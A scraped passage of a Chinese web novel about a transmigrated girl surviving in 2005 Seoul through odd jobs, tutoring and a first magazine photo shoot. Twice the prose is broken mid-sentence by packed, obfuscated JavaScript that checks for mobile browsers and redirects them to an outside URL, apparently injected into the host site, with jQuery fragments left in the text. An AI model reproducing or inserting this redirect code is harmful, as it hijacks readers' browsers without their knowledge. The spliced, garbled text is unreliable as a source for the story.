韩国未满17岁的孩子只有青少年学习证,没有身份证。所以她肯定是拿不出证件的。 不过那个便利店的姐姐说考试院对证件并不很严格,找个借口就行。 她心里打鼓,脸上保持淡定,说出想好的理由:“阿姨,我是过来考学的学生,证件下车就被人偷了,能先不登记吗?” 房东那双泛黄的眼珠从老花眼后在她身上上下打量,她很少撒谎,心虚地直眨眼。 或许几秒又或许更久,房东的声音仿佛从远方传来,“嗯,记得补好后给我。” 好耶!又过了一关。 闻着屋子淡淡的霉味,但就是这么在简陋不过的条件,她心里却产生了微妙的安全感,那是一种知道自己今晚在哪的确定感,而人总是需要知道自己的归属才能安心。 直到这时,她才深刻理解了“容身之处”这四个字的真正含义。穿越至今,一直像飘在空中的气球般的心这才慢悠悠落下来。 竟然能在异国他乡这么快就独立找到住处,她骄傲地拍拍胸口。 牙膏、毛巾、香皂还有被子、枕头.....枕头没买,用衣服垫垫得了。结账时合计人民币206元,她突然想起以前看的视频,试探着和杂货店老板还价,老板很爽快给她抹了个零头。 她愣了一下,还真能砍啊? 继而心里生出砍价人都会有的念头:我是不是还少了。 刚好趁老板装东西的工夫,她突然想起忘记买牙刷了。于是厚着脸皮凑过去:“大叔,能再送我个牙刷吗?最便宜的那种就行......” “哎呦,你这小鬼头。”厚实的大手拍了拍夏沇之的脑袋,老板一边摇头笑着,一边从架子上抽了支牙刷扔进袋子里,“呐,这些就收了个本钱,还得搭牙刷。” 刚才这孩子一边选东西一边仔细算钱的样子,看起来怪让人心酸的。 “谢谢大叔,祝您生意兴隆。”夏沇之接过袋子,笑得眼睛都眯成了一条缝。初战告捷,没想到讲价这么有成就感比赚钱还开心。 但手里的钱也花的差不多了,所以她得赶紧找赚钱才行。 可是,一个不满15岁的女孩能做什么工作呢?她叹了口气,把袋子往肩上提了提,朝考试院的方向走去。 4. 主动搭讪 【西天取经日记第二难:赚钱记】 2005年3月20号 【这本日记是我为此足足吃了两天的米饭配泡菜省下来的。我要深刻记录下自己遭遇的悲惨经历,取这个名字是希望我在经历种种磨难后能得尝所愿。 我本来以为自己是孙悟空,可惜现在看来我是猪八戒…… 昨天第一天去上班就被客人骂了,还被餐馆老板娘拿勺子拍脑袋了,超级响的一声,不疼但很丢脸。原来韩国人真的像电视剧里那样超爱用勺子打晚辈头啊,唯一庆幸的是勺子是干净的。 我很生气,从小到大没人打过我–––好吧,是客人认为我态度不够恭敬,有句话不小心忘记对他用敬语了。这在前后辈文化特别严重的韩国是很失礼的行为。 一边泡在冷水刷碗一边偷偷抹眼泪的我才记起几天前那个男孩的善意忠告,果然人教人教不会,事教人一次会,我现在记得可牢了。 总之,加油啊夏沇之!一定会苦尽甘来的。】 3月25日 【没有手机又没有钱的生活是非常无聊的,硬生生让我从熬夜分子变成了早睡早起的良好作息。 以前总有人说重生回到过去,要发财那是轻而易举,我以前也觉得很容易。但真到了才发现自己就是个小废物,在这陌生的首尔什么赚钱窍门都找不到。 虽然知道大概的国际大事,房价,金价,智能科技等世界发展轨迹,但对于具体到细节的具体赚钱操作就一头雾水。 我前世一个平平无奇的大二英语专业学生,哪会研究这些,能按时上课就已经非常勤劳了。唯一知道的就是互联网行业和房地产会爆发式增长,可我目前连吃饭都难,就算知道又拿什么投资? 以往那些总认为太过普通,不够华丽的生活。对现在的我而言,也是可望而不可及的存在。凭我自己也许这一生也无法过上那种生活。 想起家里的大房子,那还没被爸妈啃完老的家底,眼泪就忍不住悲伤地从嘴角流了出来。】 3月28号 【我好馋肉啊,前天在餐馆收拾桌子上的残羹饭菜,不得不说老板的手艺真好啊,那肉色泽诱人,我竟然很没出息的想吃,还好最后我守护住了自己岌岌可危的自尊心。 可好香啊~】 夏沇之趴在床头写下最后一笔,仿佛还能闻到肉的香道,嘴里疯狂分泌口水,好想吃。 收起日记本,3月末的天在这地下室里气温还有些冷,她裹紧被子只露出一张雪白的小脸和双手,从旁边书包里拿出钱整理,舌头舔了舔手指数钱。 正规兼职工时薪能有3000韩元左右,可她未成年只能打黑工,老板给2000就算厚道了。 好处是不用报税,都是直接给现金结算,但就算这种工作也不是天天都有的。还好餐馆那家给她女儿补习的老板那里还算稳定。 早餐吃考试院免费米饭泡菜+1个煮鸡蛋,她掰着指头算账:“一袋30个的鸡蛋2500韩元,每天1个约83韩元。” 午餐吃自带的饭团,用免费米饭捏的。晚餐考试院免费米饭+泡菜+豆腐汤。豆腐300韩元+免费大酱。约800~1000韩元,也就是差不多7块钱。 她紧了紧被子,低声咕哝: “这样一个月伙食费能控制在3万韩元以内,也就是约225元人民币。” 但又断断续续买了生活必须品,俗话说破家值万贯。即使她极力压缩消费,这十天也只存了不到13万韩元,也就是大约人民币900多块钱。 可就算算上今天和明天的工资,离下个月房租还差5万韩元的缺口呢。 数了一遍又一遍,看着这叠薄薄的纸币,夏沇之瘪起嘴,烦躁地在床上撅着屁股扭来扭去:“哎,我怎么能过的这么糟糕啊……” 就算是仇人,看到她过成这样都释怀了吧。 天爷唉,这是在让她参加变形计吗?她承认自己以前花钱确实有点点没谱,可是!那都是她爸妈自己主动给她的啊! 她头发凌乱地钻出被子,双手合十,虔诚地祈祷:“如果您能将我变回去,我以后再也不乱买包包鞋子,衣服,奶茶只喝蜜雪冰城柠檬水……” 老天爷不理她。 抹去眼泪,夏沇之抽了几张钱出来备用,放钱的时候,手指突然摸到一张纸条,展开看着上面少年神采飞扬的字迹,她深深吸了口气,不能再这样灰扑扑的生活下去了。 将书包放入衣柜里最角落,在用唯一一件外套盖在上面,如果钱被偷了、丢了她的生活会立刻崩盘。 抱着脸盆去公共洗漱。送的劣质牙刷毛扎的她嘴疼,龇牙咧嘴地漱完口,凉水泼在脸上,将最后一丝睡意浇灭,她彻底清醒起来。 整理好衣服褶皱,见看起来干净整洁,这才满意地戴上棒球帽出发做临时牛马。谁能想呢,这年头她连长期做家养牛马的资格都没。 大厅处,房东大妈依然坐在桌子后,打理整齐的卷发、淡淡地妆容、脖子上佩戴鲜艳的丝巾、灰色毛呢外套,听到动静抬头看了她一眼。 “早上好,房东姨母。”夏沇之闻到一淡淡的香味,她点头问候后走向门口。 走出门口时,她看见墙上贴着收房租的纸条,嘴里泛苦。 房租缺口要怎么办呢?她气闷地扯了扯卫衣,明明是宽松的大圆领,可是脖子却觉得被勒的喘不过气。 满腹心事的夏沇之走出半地下室,热烈的阳光已经铺满整条街道,她闭了闭眼适应着骤然明亮的光线,感觉自己就像是从下水道跑出来的老鼠,游走于这个世界的边缘。 道路两旁开着各种服装店,甜点,精品店。有店铺内传出犬夜叉的主题曲,熟悉的歌曲让她不禁站住听了一会才走。 这是她第二次来弘大,上次只想找工作没细看,现在略微一打量,目光所及的角落墙上被青年们喷涂着绚丽个性的涂鸦。 街上的女孩大多留着斜刘海,高层次马尾,涂着彩色唇彩和各色亮眼的眼影或烟熏妆,戴着大大的耳环。长靴配牛仔裤,围巾与帽子色彩呼应,黑色斗篷式外套,看起来不土反而很有复古感。 她还以为韩国人全穿黑衣服呢,现在看来至少现在还不是。而且也不愧是出名爱谈恋爱的国家,几乎都是情侣手牵手一起走过。 一个穿着低腰紧身牛仔裤配水钻宽腰带,上身斜肩毛衣领的辣妹挎着精致包包和她擦肩而过,空气残留一股香水味。 唉,韩国人真的很重视外表啊,大部分男女可能穿的并不多奢华。但头发、面容格外干净精致。相对应地,他们看别人时也格外注重外貌和细节。 她不由停下脚步,摘掉帽子从路边的车窗打量自己—— 今天因为工作缘故她将头发扎成了利落的低丸子头。露出全貌的脸蛋有着少女特有圆润,下颌线的弧度还没完全长开,但下巴已经微微收尖,隐约可见日后会有的清秀线条。 天然的野生眉,不粗不细,沿着优越的眉骨形成漂亮的落尾眉型,眉眼间距恰到好处。俗话说眉清目秀,眉毛清晰有型,眼睛自然就显得有神。 前窄后宽扇形双眼皮让眼睛像只小山雀,鼻梁不是那种过于挺拔的直,而是带着微微的起伏,鼻头精巧。 嘴唇唇线清晰,上唇的唇峰分明,下唇却饱满一些,就是唇色很淡,尤其是笑起来时左嘴角边挤出小小的梨涡。 就连挤眉弄眼也是灵动可爱的,颜控的她看的目不转睛,总算这操蛋的人生还有一样是让她开心的。 虽然她现在穿的不好看,但是脸蛋好看啊。 “真是个漂亮的孩子啊。” 咦?夏沇之眨眨眼,险些以为是自己情不自禁赞美出声。 她抬头,一个穿着深色大衣的女人正站在她身后两步远的地方,面带微笑地打量着她。 “你知道我为什么注意到你吗?” 夏沇之下意识摇头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444202|201077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “因为你照镜子的时候,”她笑眯眯地说,“刚才旁边有好几个人停下了脚步看你。一个男孩差点撞到电线杆,两个女生在交头接耳说‘那个孩子好漂亮’。” 她微微挑了挑眉,毫不客气地接下赞美,“谢谢您的夸奖,我也这样觉得。” 所以她才更加为原主可惜,只恨那天夜里因为惊慌没多砸几下那老登,便宜他了。 女人眼睛一亮,这种性格也很好,舞台上自信的人总是更加耀眼的。 自从97年经融危机,韩国决定文化立国以来。韩流发展迅速,市场正在大肆寻找有潜质的少男少女,星探也因此竞争更加激烈,经常在学校还有各种街头挖掘好苗子,她就是其中之一。 “小妹妹,你喜欢唱歌跳舞吗?”她笑的很亲切的问。 “还可以。”夏沇之有个鸡娃的妈,对她实行的是不能输在起跑线上,所以从小就给她报各种兴趣班,唱歌跳舞当然也少不了,只是她并没有多用心学,大部分都是样样通样样松。 她捏着星探给的名片,她说的明星离她太过遥远,还是眼前的工作实在。见兼职的时间快到了,怕迟到就赶紧来到咖啡厅。 这家咖啡厅装修很小资情调,老板按后世的话来讲,就是留子回国创业做咖啡主理人,她好嫉妒老板这不缺钱的安逸人生。 既然作为高级咖啡主理人,先不管咖啡味道怎么样,反正价钱是贵的,格调是要有的。就连发传单也要穿上特质的服装,务必不能有损咖啡厅的形象。 制服是剪裁有型的白色衬衫,精致包边的小立领和纽扣很显气质。搭配简单的卡其色休闲裤,腰间系着黑色的围裙,上面用白色绣着店名。 她将有些长的袖口挽了两道,露出的手腕细得能看清骨头的形状。 店长看见夏沇之眼前一亮,“哎一古,果然这衣服很适合小夏你,太好看了。” 虽然衣服有些宽松,但在女孩身上反而很有种雅致的少女味道,真是她见过最漂亮的孩子呢。 夏沇之无奈地任由她摸脸揉搓,她知道自己能得到这份3500韩元高薪的兼职全靠店长是个颜控,不然不满15岁很多人有顾虑是不会雇佣的。 好不容易才逃离店长的怀抱,出去到前台拿传单,收银欧尼刚要给她拿,又有人过来点单,她见有人手不够,就主动帮忙送咖啡。 “您好,您的咖啡。”她小心将托盘上的咖啡放在窗边桌子上。 客人点点头,一边端起咖啡一边和电话那端的人交谈,语气无奈:“明天就要?我现在哪给你找漂亮的新面孔,你也知道模特这圈子,资质好的人很难得,真有漂亮的早就被经济公司签约,不然就要价很高,可不是三五十万韩元能…” 夏沇之将要离开的脚步一顿,心跳突然快了一拍,她想起前世因外貌受到的优待,今生咖啡厅的工作和找上门的星探……足够的美貌是资源,可以变现的。 脑海分析着对方话里的信息,目光不着痕迹打量着眼前的男人,他大约三十左右,长及耳边的头发,长相斯文。穿着件深灰色的休闲外套,而一旁桌子上放着相机包。 转身将托盘放回吧台。她深吸一口气,将发丝仔细整理好,露出素白的脸蛋,又用手指蘸水将头发捋顺。 最后朝吧台镜面照了照,然后拿起一叠传单朝门口走去。 经过那张桌子时,传单却一‘不小心’掉落了几张,她连忙侧身蹲下捡起,手指微微颤抖,这还是她第一次这样想引起一个男人的注意。 字面意义上的。 可恶,这种时候不会主动搭讪的坏处就体现出来了,希望她的美貌能够持续发力。 阳光透过落地玻璃窗户照在夏沇之精致的侧脸,蒙上一层光晕,她察觉有目光落在这张脸上,心中一喜,这才慢条斯理的将传单整理好,站起身朝门口走去。 一步……两步…她在心里默默数着脚步,时间在意识里被拉的很慢。 5. 美貌是可以变现的 “请等等……” 呼…她轻轻舒了口气,停下脚步,神色疑惑地扭头看去,相机男正抬头看她。目光不算冒犯,但带着一种打量的意味,像是在估算着什么。 和刚才那个星探的神情很像。 “您好?”她仿佛被吓到,下意识退后半步。 男人察觉到她的警惕,笑了笑收敛起目光,语气放缓:“别紧张,我是一名摄影师。” 他从口袋里掏出一张名片递过来,“你很上镜,有没有兴趣拍摄杂志?你条件不错,我们杂志正好缺人。” 夏沇之低头看了眼名片,首尔某家摄影工作室,上面有名字和电话。她抿抿唇:“工资多少?正规吗?” 男人目露诧异,女孩的反应让他有些出乎意料,不由重新打量了她一眼,耐心回答: “你放心,我们是拍少女向杂志,虽然不是什么大刊,但也有不少受众。”他反问:“你以前应该没有拍过杂志吧?” 如果有的话,凭着这张脸他应该会有印象才对。 夏沇之眨眨眼,面不改色给自己立人设,出门在外嘛,身份都是自己给的。 “我在老家做过一段时间模特,对拍摄还是挺熟悉的。” 也不算说谎,她小时候是那种照片发到某书会被评论区留言:“你快问那个问题。”“可以的,可以当童模。” 所以妈妈带她去体验当过几次儿童模特,还付费走过几次秀呢,不过在她上小学后就没在去了。 再来就是她大一正是爱拍照的时候,被朋友忽悠得当了他整整一年的免费模特,也收获了一些拍摄技巧,果然有付出就有回报啊。 “嗯?”许贤旭感兴趣问道:“是什么杂志?” “很小的地方杂志,已经倒闭了。”自从穿越后就不停给自己打补丁的夏沇之淡定自如的回答。 许贤旭点点头,没有怀疑她说谎,略略思考一下,他说:“20万。” 心动,刚好解了她目前的燃眉之急。 但她还是强撑看着他没说话,吸取了前几天买东西的教训,最好由对方主动开价才能掌握主动权。 但心里却微微打鼓,生怕他反悔,到时候去哪找报酬这么好的工作。 许贤旭微微挑眉。这女孩……是觉得价格太低?他再次看向她的脸。说实话,以他拍人无数的眼光,这孩子的底子确实难得——与她的年龄相比,五官真的太鲜明漂亮了。 特别是那双眼睛,看过来的时候,总有种模糊得像蒙了一层雾的感觉。就像初夏雨停后,隐约雾气笼罩的森林一样,蕴含着不像是这个年纪会有的东西,很吸睛。 看在这张脸的份上,他又开了口:“……25万。”强调道:“毕竟第一次合作,如果效果好以后也会涨价的。” 25万韩元! 相当于她一个月的房租,还能买新的内衣,原主的内衣她总觉得像在穿别人的,怪别扭的。还有睡衣…她这几天睡觉都穿毛衣和外穿的裤子,生理和心理都难受极了。 按捺住心底的喜色,她抬头看向摄影师,用仅知的浅薄社会经验问:“在哪里拍?什么时候?需要签合同吗?” 许贤旭失笑。 “你这孩子倒是挺谨慎的嘛。”他从包里掏出一个本子,撕下一页,刷刷写了几个字递过去,“明天上午九点,这个地址。至于合同…那要看你明天的表现了。” 夏沇之接过纸条,想了想又问:“有样刊吗?” 许贤旭挑眉,从包里抽出一本杂志递过来——封面是个和她年纪相仿的女孩,杂志名叫《Teen Beauty》。 “上个月的刊,我们工作室拍的。”他指了指内页,“这几张都是。” 夏沇之翻了翻,确实是正经的少女杂志,穿搭、美妆、校园故事之类的内容。她终于松了口气,把杂志还回去,点点头:“内,我明天会准时过去。” 许贤旭收回杂志,又看了她一眼:“对了,你叫什么?” “夏沇之。” “夏…沇之,这个姓很少见啊……”他念了一遍,“行,那明天见。” 夏沇之走出咖啡厅,捏着那张上面写着江南区某条路的纸条愣了几秒,小心放进口袋里,擦掉手掌的冷汗,露出穿越后最灿烂的笑容。 她抿抿唇,转头精神满满地扬起笑脸—— “您好,咖啡厅新开业,请看一下……” 发完传单已经快五点。 去咖啡厅结了工资,揣着今天赚的1.4万韩元往地铁站走去,路上吃着考试院带出来的饭团配着店长给她的焦糖玛奇朵。好在还不到4月份,天气还不算暖和,饭团没有变质。 她捏着口袋里的纸条,手指碰到硬硬的东西,是那位星探欧尼的名片,上面只有简单的名字和电话。这人神神秘秘的,一直反复说自己是大公司,问是哪家又不说,只一味说过来面试就知道。 她感觉有些不靠谱,还是即将到手的工作更实在。 还要去打第二份工呢。 不像今天纯用外貌,这是她用实力得来的第一份工作,那天她找工作屡屡被拒—— 未满15岁且没有家长的同意,雇佣未成年可是有很大风险的。 一次又一次被拒绝,夏沇之压下仰天长叹的冲动,安慰自己:“没关系,大不了就先吃考试院提供的免费米饭好了。” “咕噜噜……” 不知不觉已经到了晚饭的时间点,街边的餐馆里开始传来饭菜的香味,她咽下泛滥的口水,“再忍忍,在找几家,如果再找不到就回去。” 按着咕咕直叫的肚子,将腰带系紧缓解她的饥饿感,做完这一系列的动作,她突然觉得很荒谬又好笑,忍不住哈哈笑起来。 笑着笑着又想哭……又在心里习惯性骂了那个害她不浅的人,想到临死前听的话更生气了!合着她当替死鬼呢。 为什么她不像小说里那样绑定花钱系统或者身边突然停辆加长版林肯,有带着白手套穿着西装革履的大叔,带着保镖走到她身边说:“小姐您这些年辛苦了,夫人让我接您回家。” 然后家里有大权在握的妈,温柔细致的爸…… “让一让!别挡路……”餐馆老板端着水盆朝门口的水道泼去,冰凉的水珠无情溅在夏沇之脸上……幻想破灭,她垮下脸。 抬眼看到墙上贴着的招聘杂工,又扬起坚强的笑容走进这家餐馆。 “请问,您还需要人手吗?” “不要,”老板娘头也不抬,继续火大的指着桌子上的习题对自己女儿道:“啊尼,我说了几遍,怎么这么笨……” “可是,我听不懂,老师很多没教。”看起来十二三岁的女孩不服气地分辩,“别人都是放学后上补习班。” “哎西,真是要疯了! 自从那个禁补令一取消,补课费简直飞上天了。我们餐厅是赚了点钱,可哪经得起每个月几十万地往外掏啊!”说着说着老板娘就叉起腰,气鼓鼓地站在柜台后面不吭声了。 夏沇之正准备离开的脚步顿住,转头看向女孩的课本,她瞟一眼习题时,挑了挑眉。 嗨,幸好她才上大二,不然这些知识估在过个一年半载估计就不敢保证自己还记得了。 不过她是来应聘杂工的,突然说能辅导作业会不会太奇怪?但……想到今天被拒绝到麻木的自己,试试又不会怎样,最坏也就是被赶出去呗。 反正这里也没人认得她,给自己鼓完劲。她脚步一转,走到老板娘面前:“那个……这道题我会,要不我试试?” 夏沇之厚着脸皮无视对方拒绝的眼神,直接前对女孩讲解题目。本来想要阻止的老板娘停下动作,听她条理清晰的讲解,再看看女儿眼睛一亮露出欣喜的神色…… “行,就这么说定了,你明天开始过来吧!”老板娘摸着女儿的脑袋对夏沇之说,脸上流露出终于解脱的喜悦。 夏沇之也很开心,这份工作老板看在她能帮孩子补习的份上留下了她。5000韩元补课数学韩元一小时,每周补习4次。每天打杂两小时共5000韩元。她一周可以拿55000韩元。 她不知道这补习价钱怎么样,但对她来说这是及时雨。 餐馆里,她趁客人还没多起来给女孩补了会儿课,她每天在这里兼职三个小时,六点到九点,前一个小时补课,后两个小时打杂。 “欧尼,”妍雅叫住讲完课准备离开的夏沇之,有点害羞地对她伸出手掌:“这个送给你。” 夏沇之盯着她手心的那枚发卡,抬头看她:“是送给我的吗?” “嗯!”妍雅点点头,笑眯眯地说:“谢谢欧尼的补课,欧尼你戴这个一定很好看。” 妍雅觉得欧尼很漂亮又香香的,就是刘海太乱了,可以用这枚发卡夹起来。 她低头打量着手里的发卡,这是一枚粉色带钻的蝴蝶结形状,中间是浅蓝色水钻,以她的眼光,质量着实有些劣质。 但……世界破破烂烂,小孩缝缝补补。 小心翼翼收好礼物,她感动地揉了揉女孩的脑袋,又给她出几道大题,算是报答她这份心意。 留下失去灵魂,呆呆望着作业本的妍雅,她开始收拾客人离开的一桌狼藉。 天色已然不早了,不大的饭馆里坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444203|201077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着三三两两的客人喝着小酒配着小菜聊天,男人不时发出像卡痰一样的夸张语调,让她听的耳朵刺挠。 她暗暗翻了个白眼,真是服了这些阿加西们,说话就说话,一定要发出这样的声音嘛。 收拾好桌面,赶紧远离这些大叔们,深怕又被叫住听他们说些吹牛,指点江山的言论。她演技不好,万一哪个表情不够恭敬又要挨骂。 干完活,和老板说了明天可能过不来,需要请假一天,这才拖着疲惫饥饿的身体走出餐馆。 今天常走的路在修路,她走了另一条街,在路过合井洞区熙友情路一条安静的街道时,她停下脚步,看着中见那栋被居民楼围着的不起眼楼房,谁能想到这会是KPOP未来十几年最耀眼的公司。 YGEntertainment 05年......这时候权至龙都还没出道吧? 她前世算是权至龙的音乐粉和舞台粉,粉上他很偶然,别人都是“我比流言蜚语先认识你”。而她则是因为吃瓜看到一条关于YG艺人法庭璀璨路的视频。 于是好奇心起去吃瓜,吃着吃着就吃到权至龙身上,有句话说得好,没人能看完他的舞台不爱上他。 他的《one of a kind》对她来说简直是惊为天人。正处在天老大,我老二的叛逆时期的她别提听的有多爽了。走路听他的歌都带劲,她眼也不花了,手也不酸了,还能在战几题的那种音乐粉。 之后年龄大了一点,又喜欢上了他的同名专辑,看他的纪录片时哭的像个傻缺。不过后来学业越加繁忙加上他又老不出现,也就偶尔刷刷他的新闻,对他印象最深刻的就是他17年破碎感拉满的艺术家形象。 最后一次听到他的消息,是他23年发布说要回归的视频,这也是她当初要来麻浦区的原因。 她捏着那张名片忍不住站了一会…… 回到考试院洗完澡,隔壁房间的大婶端着一盆衣服走过来,看见她,随口问:“刚回来?” “内。” “今天又打两份工?” “内,”夏沇之笑着点点头。 大婶叹了口气:“小小年纪就出来打工,不容易啊。”顿了顿,又压低声音,“晚上睡觉锁好门,这地方什么人都有。” 夏沇之愣了一下,想起前几天半夜隐约听到的醉汉叫喊声心下警惕,随即点头:“谢谢您,我会的。” 回到房间,她把门锁仔细检查了一遍。木板隔的墙,锁也是那种一撬就开的便宜货,但总比没有强。 捂着饥饿的肚子躺在床上,怕因为吃饱影响穿衣服,但太饿了。她盯着天花板上那道细细的裂缝,脑子里乱七八糟地想事情转移注意力—— 明天拍杂志会穿什么?坐什么车过去最方便?又将遇到什么人和事呢? 想着想着,眼皮越来越沉。 次日 她起来时果然没觉得饿,以前就是这样,她减肥时晚上不吃饭,第二天早上就不觉得饿,如果吃宵夜则相反。 双手握住腰身量了量,她满意的点头。 江南区离得比较远,她一大早就起来捯饬,要早点出发,现在没有手机车站APP和地图,万一坐错车还有时间改道。 地铁上,有人低头看报纸,有人塞着耳机听MP3,几个穿着校服的女高中生凑在一起,叽叽喳喳地讨论着什么。夏沇之瞥了一眼她们手里的杂志,封面上的甜美少女笑得青春洋溢。 “你看,这上面的眼妆好好看,等放学我就照着教程试试看。” “我觉得模特的发卡好好看,形状特别又亮晶晶的,晚上一起去明洞看看吧。” “好呀好呀~” 笑着收回目光,真是无忧无虑的生活呀。她看向窗外飞速后退的隧道壁,那里黑漆漆的,什么也看不清。 走出地铁站,江南区的街道比麻浦区宽阔得多,路边停着进口车,咖啡店门口的招牌写着英文。夏沇之低头看了眼自己洗得发白的帆布鞋,深吸一口气,朝那栋五层老楼走去。 “叮……” 老楼前,外墙贴着褪色的瓷砖,门口挂着好几个招牌——摄影工作室、设计公司、翻译社。看起来还算正规。 万幸一路顺利,夏沇之摘下帽子,按响四楼的门铃。 “来了。” 对讲机里传来许贤旭的声音,接着是“嘀”的一声,门锁弹开。 道路一旁,本来靠着车身抽烟的男人眼神陡然一亮,太阳穴的黑痣被眉毛带的变形,刚直起身就见那道身影进入门后消失不见,他掐灭了手中的烟,看向门口的招牌眯了眯眼。 6. 谁也别想阻挡我赚钱 夏沇之到了四楼,左手边一扇玻璃门,上面贴着“许贤旭摄影工作室”几个字。 她又整理了下衣服,随后推开门。 里面比她想象的大。白色的背景布,几盏摄影灯,衣架上挂着各种各式的衣服,化妆镜前坐着一位正在整理妆容的少女,透过镜子看了她一眼没说话。 许贤旭正和一个女人从里间走出来。 那女人穿着一件米白色的针织衫,脖子上系着一条丝巾,妆容精致但眼下有淡淡的青黑,一看就是没睡好。 许贤旭看见她点了点头,随后向朋友邀功:“这就是我和你说的那个女孩,怎么样?”这个外貌这个价格可不是那么容易就能找到的。 她的目光落在夏沇之身上,脚步顿了一下。然后走过来微微俯身,仔细看了她几秒。 “把帽子摘了。” 夏沇之依言照做。 女人眉尾极为轻微地挑了下,转头对许贤旭说:“你这次倒是没说大话,不过有点矮,还好瘦……比例不错。” 夏沇之垂下眼帘,压抑住被人评头论足的不适感,让自己想想25万韩元的报酬,想完心里立刻舒服多了。 女人退后两步重新打量,不过相比起脸,少女模特身高可以忽略,穿点带跟的鞋也差不多一米六了。 “还行吧,不过如果拍摄效果不好,钱你自己垫付。”她转身往化妆间走,走了两步又停下来,头也不回地丢下一句:“对了,头发需要拉直。” 许贤旭翻了个白眼,扭头对夏沇之安慰说:“她就是今天要拍的杂志主编,一向毒舌挑剔,能让她说出不错就已经是很高的评价了。别在意,你先坐,等会化妆。” 夏沇之松了口气,点点头在沙发上坐下,边好奇打量着四周,脑海边回想着以前和摄影师互勉时拍照的注意事项。 这时门又被推开,迎面进来两个女孩。一个短发一个长发,看起来比她大一些,女孩丸子头,窄脸单眼皮,黑色连帽卫衣上印着动物烫钻图案。另一个长发带着蝴蝶结发箍,五官清秀,穿着件亮黄色的夹克和短裤长靴。 一进门就嚷嚷:“欧巴,今天拍什么?” “春季服饰。”许贤旭调整着设备,头也不抬,“去换衣服。” 两个女孩嘻嘻哈哈地挤着去更衣室了,出来后看见夏沇之这个新面孔好奇地围过来,“我是89年生,从釜山过来的。你呢?哇,头发在哪里烫的?挺好看的。” 夏沇之露出社交笑容,“我这个是天生的,但是如果想要这种效果……” 从她们的聊天中,她拼凑出:这个圈子里,大杂志通过正规经纪公司找模特,需要签合同、走税务。而小杂志的编辑或摄影师手里通常有熟识的“包工头”—— 这些中间人专门给剧组、杂志社介绍临时演员和模特,不问出身,只问价格,一般都是当场结现,不留痕迹,没有劳动合同,没有工资条,甚至连对方真名都不用知道。代价就是有被无良杂志拖工资的风险。 听到这的夏沇之一惊,这才想起摄影师当时的话,难怪没正面回答她。好在很快就听丸子头少女说: “这家杂志还是很有口碑的,也不怎么压价,所以很多人都想挤进来,不过主编要求很高。听说之前那个模特签了公司不干了,主编急得嘴里起泡……” 急需漂亮的面孔撑场。但因为资金问题找不起有名的模特,只好想要从新人中发掘。 少女模特这个圈子,数量说多也多,说少也少。毕竟她们都是吃青春饭,更新迭代也快。但容貌出众的少女很难寻找,一向都是稀缺资源。 “你一定能和杂志签约的。”蝴蝶结少女满眼羡慕。 她们这些模特,有像镜子那里化妆的女生是在读生,一边读书一边兼职做模特,有工作就接,作为零花钱或学费补贴。 也有像她们这样,因为各种原因早早出社会赚钱养家,很想找到一家杂志长期合作,这样就不用到处找机会。 夏沇之苦笑,“我还是第一次拍杂志,谁知道呢。”她虽然略微有些拍摄经验,但毕竟正式拍杂志还是正儿八经第一次。 “那个女孩,到你了。”不远处化妆师对夏沇之招手,她连忙应声过去。 …… “哎呀,效果很棒哎。”化妆师笑眯眯地拉直最后一缕头发,神色满意。 十几岁的女孩满满的胶原蛋白,这个阶段的五官还未完全张开,但也已能窥探几分以后的美貌。 镜子里的女孩让她愣了一下——蓝紫色的眼妆让眼睛显得更大,腮红盖住了苍白的脸颊,两颊有几颗被晒出的雀斑,化妆师特意没遮掉,反而添了几分俏皮。 夏沇之嘴角扬起,露出浅浅的梨涡。像沐浴在阳光下在草坪上自由奔跑的少女,让人霎时眼前一亮。 卷发被拉直,柔顺地披在肩头,让她看起来更清纯温柔。 正好出来的主编看到这一幕忍不住微微点头,虽然女孩卷发看起来很洋气,但不太适合她们杂志走的少女甜美可爱风格。 美好的事物总是会让人心生愉悦的,化妆师的班味都消散了几分,亲切地拍拍夏沇之,“去换衣服吧。” 造型师说今年流行色彩鲜艳的颜色,还有大面积花卉印花,所以不管什么上衣几乎都逃不脱这种类型。这次拍摄服装就是糖果色彩,什么荧黄,橘粉、桃红,鲜绿各种色彩混搭。 不过幸好造型师挺有审美,白色小夹克搭雪纺印写意风格的长上衣,下身短裙配宽腰带。 再通过精致的紫色袜子与棕色休闲靴的碰撞,不拘一格的搭配让人眼前一亮。 配饰则是亮晶晶发卡、精致耳饰、小巧包袋。 “过来,你先站在旁边适应看看。” 她按照指导走到旁边,目光观察着打光灯的光线,然后挪到位置上。 主编的视线一直放在夏沇之身上,见此微微点头,她也算半个摄影师,对光线也很敏感,自然看出女孩不是随便站的。 “好,大家看镜头——对,微笑——” 夏沇之条件反射地下意识微微侧脸抬头,本来冷淡的表情瞬间变化,眉头放松,眼角弯起,笑容像枝头上的水蜜桃,光看着就感觉有股香甜扑面而来。 许贤旭贴着摄像机镜头的眼睛微微睁大,诧异非常,他本来心底已经准备好要不断指导新人角度,表情,动作等等的麻烦。 镜头里,明明其他人的动作笑容幅度更大,他的目光却不由被她吸引。她的笑不是单纯的露出表情,而是有故事有内容的笑,就像真花和假花的区别。 人总是会被真的东西打动。 许贤旭从镜头前偏过头,“那个谁…沇之xi。”他手指向中间,“你站在中间吧。” 